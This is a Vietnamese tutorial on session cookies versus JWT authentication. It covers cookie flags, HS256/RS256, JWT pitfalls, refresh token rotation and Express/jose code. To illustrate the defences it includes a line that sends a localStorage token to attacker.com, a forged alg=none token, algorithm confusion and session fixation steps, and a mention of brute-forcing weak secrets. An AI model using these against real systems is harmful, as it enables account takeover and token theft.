Mục tiêu học tập
- Hiểu cách hoạt động của cookie session (server-side state) và các cờ bảo mật
Secure,HttpOnly,SameSite - Hiểu cấu trúc JWT (header.payload.signature), khác nhau giữa HS256 và RS256
- Nhận diện các pitfall phổ biến của JWT:
alg=none, weak secret, no expiry, lưu ởlocalStorage - Áp dụng refresh token rotation và hiểu vấn đề token revocation
- Quyết định khi nào dùng session, khi nào dùng JWT
1. Cookie Session — Server-side State
Flow cơ bản
Server lưu gì?
Cookie chỉ chứa session_id (random ~128-bit, không có thông tin gì khác). Toàn bộ state ở server.
Cookie flags bắt buộc
Set-Cookie: sid=abc123;
HttpOnly; ← JS không đọc được → chống XSS đánh cắp cookie
Secure; ← Chỉ gửi qua HTTPS → chống MITM
SameSite=Lax; ← Không gửi cross-site → chống CSRF
Path=/;
Max-Age=3600;
Domain=app.example.com
| Flag | Tác dụng | Khuyến nghị |
|---|---|---|
HttpOnly | Cookie không truy cập được từ document.cookie | Bắt buộc |
Secure | Chỉ gửi qua HTTPS | Bắt buộc (production) |
SameSite=Strict | Không gửi với bất kỳ cross-site request nào | An toàn nhất, có thể vỡ UX khi link từ Google |
SameSite=Lax | Gửi với GET top-level navigation, không gửi POST cross-site | Default tốt (mặc định của Chrome 80+) |
SameSite=None | Cho phép cross-site (BẮT BUỘC kèm Secure) | Chỉ khi cần (embed cross-origin) |
Session fixation attack
1. Attacker truy cập site, server cấp sid=AAA
2. Attacker dụ victim click link với sid=AAA (qua URL hoặc XSS set cookie)
3. Victim login → server gắn sid=AAA với user của victim
4. Attacker dùng sid=AAA → đăng nhập với danh tính victim
Phòng chống: regenerate session ID sau khi login (req.session.regenerate() trong Express).
Pros / Cons của session
| Pros | Cons |
|---|---|
| Revoke dễ: xóa entry trong store | Cần session store (Redis/DB) → infra phức tạp hơn |
| Cookie nhỏ (chỉ id) | Không trivially stateless → khó scale qua nhiều region |
| Có thể chứa data lớn server-side | Phụ thuộc cookie → khó với mobile native, cross-domain |
| Mature, well-understood | Cần xử lý CSRF protection (CSRF token) |
2. JWT — JSON Web Token
Cấu trúc
Standard claims (RFC 7519)
| Claim | Ý nghĩa | Ví dụ |
|---|---|---|
iss | Issuer — ai phát hành | "https://auth.example.com" |
sub | Subject — user id | "user_42" |
aud | Audience — token dành cho service nào | "https://api.example.com" |
exp | Expiration time (Unix ts) | 1700003600 |
iat | Issued at | 1700000000 |
nbf | Not before | 1700000000 |
jti | JWT ID — unique id (để revoke) | "uuid-v4" |
HS256 vs RS256
HS256 (HMAC-SHA256): RS256 (RSA-SHA256):
Issuer: Issuer:
sign with SHARED_SECRET sign with PRIVATE_KEY
Verifier: Verifier:
verify with SHARED_SECRET verify with PUBLIC_KEY
(same secret as issuer) (publishable)
| HS256 | RS256 | |
|---|---|---|
| Loại key | Symmetric (shared secret) | Asymmetric (private/public) |
| Ai có thể verify | Chỉ ai có secret | Bất kỳ ai có public key |
| Use case | Cùng một service phát + verify | Nhiều microservice verify token do auth-service phát |
| Token size | Nhỏ hơn | Lớn hơn (signature dài) |
| Khi compromise | Mất secret → phát giả được | Mất private key → phát giả được; public key leak không sao |
Microservices nên dùng RS256 + công bố
jwks.jsonđể service khác verify mà không chia sẻ secret.
Flow JWT điển hình
Resource API không cần gọi DB / auth service để verify — chỉ verify signature và kiểm claim. Đây là điểm hấp dẫn của JWT.
3. JWT Pitfalls
Pitfall 1: alg=none attack
// Attacker tự tạo JWT:
header = { "alg": "none", "typ": "JWT" }
payload = { "sub": "admin", "exp": 9999999999 }
signature = "" // bỏ trống
// Nếu thư viện chấp nhận alg=none → token này pass verify
Phòng chống:
- Whitelist alg cho phép:
jwt.verify(token, secret, { algorithms: ["HS256"] }) - KHÔNG để user kiểm soát alg
Pitfall 2: Algorithm confusion (RS256 → HS256)
// Server có RSA public key, dự kiến verify RS256
// Attacker đổi header thành alg=HS256
// Thư viện cũ: dùng public key làm HMAC secret
// → public key là public → attacker biết → sign được token giả
Phòng chống: luôn whitelist algorithms: ["RS256"] chứ không trust header.
Pitfall 3: Weak HMAC secret
// ❌ SAI
const secret = "secret"; // brute force trong 1 giây
const secret = "myapp_secret"; // dictionary attack
const secret = "abc123";
// ✅ ĐÚNG: ≥ 256 bits random
const secret = crypto.randomBytes(32).toString("base64");
// hoặc dùng RS256 với key pair
Có công cụ hashcat / jwt_tool brute force weak HMAC secret từ token public.
Pitfall 4: No expiry / quá dài
// ❌ SAI
{ "sub": "u1" } // không có exp → token bất tử
{ "sub": "u1", "exp": +30 days } // quá dài cho access token
// ✅ ĐÚNG
access_token: exp = 15 minutes
refresh_token: exp = 7-30 days, rotate trên mỗi lần dùng
Pitfall 5: Lưu JWT trong localStorage
// ❌ SAI — XSS đọc được
localStorage.setItem("token", jwt);
// Bất kỳ <script> nào (kể cả 3rd party CDN bị compromise) đều có thể:
const token = localStorage.getItem("token");
fetch("https://attacker.com?t=" + token);
| Storage | XSS đọc được | CSRF | Nhận xét |
|---|---|---|---|
localStorage | Có | Không | Nguy hiểm với XSS |
sessionStorage | Có | Không | Tương tự localStorage |
Cookie HttpOnly | Không | Có (cần SameSite) | An toàn nhất với JWT |
| Memory (JS variable) | Có nhưng mất khi reload | Không | OK cho short-lived access token |
Khuyến nghị: cookie HttpOnly; Secure; SameSite=Lax. Nếu phải lưu trong JS, chỉ short-lived access token + refresh token trong cookie.
Pitfall 6: Token bloat
// ❌ SAI: nhét cả profile user vào payload
{
"sub": "u1",
"email": "...",
"first_name": "...",
"address": "...",
"permissions": [/* 200 items */]
}
Payload JWT đi theo mọi request → tăng bandwidth. Chỉ nên chứa sub, exp, iat, role IDs ngắn.
4. Refresh Token Rotation
Vấn đề: token revocation
JWT stateless = không thể "xóa" khỏi server. Nếu user logout / device mất / leak:
- Token vẫn hợp lệ đến
exp - Phải có cách invalidate
Pattern: short access + long refresh, rotate refresh
1. Login → cấp:
access_token (exp = 15 min) ← gửi mọi request
refresh_token (exp = 30 days) ← dùng để xin access mới
2. Access expire → gọi /refresh với refresh_token:
- Server verify refresh_token
- Cấp access_token mới
- Cấp refresh_token mới (rotate)
- Invalidate refresh_token cũ (đánh dấu trong DB)
3. Nếu attacker steal refresh_token và dùng:
- Đầu tiên có thể thành công 1 lần
- Khi user thật dùng refresh_token cũ → server phát hiện đã used
- → Revoke toàn bộ session của user (force re-login)
Bảng so sánh thời gian sống
| Token type | Lifetime | Lưu ở đâu | Revocation |
|---|---|---|---|
| Access token (JWT) | 5-15 phút | Memory / cookie HttpOnly | Đợi exp |
| Refresh token | 7-30 ngày | Cookie HttpOnly (path=/refresh) | Lưu trong DB, rotate, revoke được |
| Session id | 30 ngày | Cookie HttpOnly | Xóa entry trong store |
Revocation list (denylist)
Cho trường hợp cần revoke access token trước hạn:
- Lưu
jticủa token đã revoke trong Redis với TTL = exp - Mỗi request: verify JWT + check Redis denylist
- Trade-off: mất tính stateless
5. Khi nào dùng Session vs JWT?
| Tiêu chí | Session (cookie) | JWT |
|---|---|---|
| Single web app, same domain | Có (đơn giản, an toàn) | Overkill |
| SPA + REST API cùng domain | Có (cookie HttpOnly) | OK nhưng phải cẩn thận storage |
| Mobile native (iOS/Android) | Khó (cookie awkward) | Có (Bearer token) |
| Microservices nhiều region | Khó scale session store | Có (RS256 + JWKS) |
| Third-party API access | — | Có (OAuth2 access token) |
| Cần revoke ngay lập tức | Có (xóa session) | Khó (cần denylist) |
| Cần đơn giản, ít infra | Có | Phức tạp hơn |
| Cross-domain SSO | Khó | Có (OIDC ID token) |
Quy tắc thực tế (2024): cho web app same-origin, dùng cookie session. Cho mobile / SPA + multi-service / SSO, dùng JWT (best practice: access trong memory, refresh trong cookie HttpOnly).
6. Code ví dụ
Express session với Redis
import express from "express";
import session from "express-session";
import RedisStore from "connect-redis";
import { createClient } from "redis";
const redisClient = createClient({ url: process.env.REDIS_URL });
await redisClient.connect();
const app = express();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET, // for signing cookie
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
maxAge: 1000 * 60 * 60, // 1h
},
}));
app.post("/login", async (req, res) => {
// verify password ...
req.session.regenerate(() => { // chống session fixation
req.session.userId = user.id;
res.json({ ok: true });
});
});
app.post("/logout", (req, res) => {
req.session.destroy(() => res.json({ ok: true }));
});
JWT với jose (Node.js)
import { SignJWT, jwtVerify } from "jose";
const secret = new TextEncoder().encode(process.env.JWT_SECRET); // ≥32 bytes
// Sign
async function signAccessToken(userId, roles) {
return await new SignJWT({ roles })
.setProtectedHeader({ alg: "HS256" })
.setSubject(userId)
.setIssuer("https://auth.example.com")
.setAudience("https://api.example.com")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
}
// Verify
async function verifyAccessToken(token) {
const { payload } = await jwtVerify(token, secret, {
issuer: "https://auth.example.com",
audience: "https://api.example.com",
algorithms: ["HS256"], // ← whitelist quan trọng
});
return payload;
}
7. Câu hỏi ôn tập
-
Tại sao cookie chứa session id cần cả 3 cờ
HttpOnly,Secure,SameSite?Xem đáp án
Mỗi cờ chống một loại tấn công: HttpOnly → JS không đọc được
document.cookie, nên XSS không lấy được session id. Secure → cookie chỉ gửi qua HTTPS, chống man-in-the-middle nghe lén trên Wi-Fi public. SameSite=Lax/Strict → cookie không gửi với cross-site POST request, chống CSRF. Thiếu một trong ba là vector tấn công còn mở. -
JWT
alg=noneattack hoạt động thế nào và phòng chống ra sao?Xem đáp án
Attacker tạo JWT với header
{"alg":"none"}và signature trống. Thư viện JWT cũ (hoặc cấu hình sai) trust header và chấp nhận token không signature → attacker giả mạo bất kỳ user nào. Phòng chống: luôn whitelist algorithm khi verify, ví dụjwt.verify(token, secret, { algorithms: ["HS256"] }). KHÔNG đọc alg từ header để chọn cách verify. -
Sự khác biệt cốt lõi giữa HS256 và RS256, khi nào nên dùng RS256?
Xem đáp án
HS256 dùng symmetric secret — issuer và verifier cùng chia sẻ một secret → chỉ phù hợp khi cùng một service phát và verify. RS256 dùng key pair (private/public) — issuer sign bằng private key, verifier dùng public key (công bố qua JWKS) → nhiều microservice verify được mà không chia sẻ secret. Dùng RS256 cho hệ thống microservices, SSO, OIDC. Dùng HS256 cho monolith đơn giản.
-
Vì sao lưu JWT trong
localStoragelà rủi ro, và alternative là gì?Xem đáp án
localStorageaccessible từ JavaScript → bất kỳ XSS nào (kể cả qua npm package compromise hoặc CDN bị hack) đều đọc được token và gửi đi. Alternative tốt nhất: cookieHttpOnly; Secure; SameSite=Laxcho refresh token (JS không đọc được) + access token short-lived (5-15 phút) trong memory JS. Khi tab đóng, access token mất → cần refresh, refresh nằm trong cookie an toàn. -
Refresh token rotation phát hiện token bị steal bằng cách nào?
Xem đáp án
Mỗi lần dùng refresh token để xin access mới, server invalidate refresh cũ (đánh dấu used trong DB) và cấp refresh mới. Nếu attacker steal refresh token và dùng trước user thật, attacker được token mới — nhưng khi user thật dùng refresh cũ, server phát hiện token cũ đã used → biết có attack → revoke toàn bộ session của user, force re-login. Pattern này tự phát hiện compromise mà user không cần báo.
Bài tập thực hành
# 1. JWT decode bằng tay
# Lấy một JWT (từ jwt.io demo)
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.signature"
# Decode header
echo $TOKEN | cut -d. -f1 | base64 -d
# → {"alg":"HS256","typ":"JWT"}
# Decode payload
echo $TOKEN | cut -d. -f2 | base64 -d
# → {"sub":"1234567890","name":"John"}
# 2. Tự ký JWT với jose
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install jose
cat > sign.mjs << 'EOF'
import { SignJWT } from "jose";
const secret = new TextEncoder().encode("a-very-long-random-secret-256-bits-please");
const jwt = await new SignJWT({ role: "user" })
.setProtectedHeader({ alg: "HS256" })
.setSubject("user-42")
.setIssuedAt()
.setExpirationTime("15m")
.sign(secret);
console.log(jwt);
EOF
node sign.mjs
# 3. Mở https://jwt.io, paste token, quan sát decode
# 4. Thử alg=none attack:
# - Tạo JWT mới với header alg=none
# - Bỏ signature
# - Verify với thư viện → quan sát thư viện modern (jose) reject
# 5. Setup Express session với Redis
docker run -d -p 6379:6379 redis
# Code Express session demo ở section 6, test cookie với DevTools
Tài liệu tham khảo chính thức
- RFC 7519 — JSON Web Token
- OWASP JWT Cheat Sheet
- OWASP Session Management Cheat Sheet
- jose library docs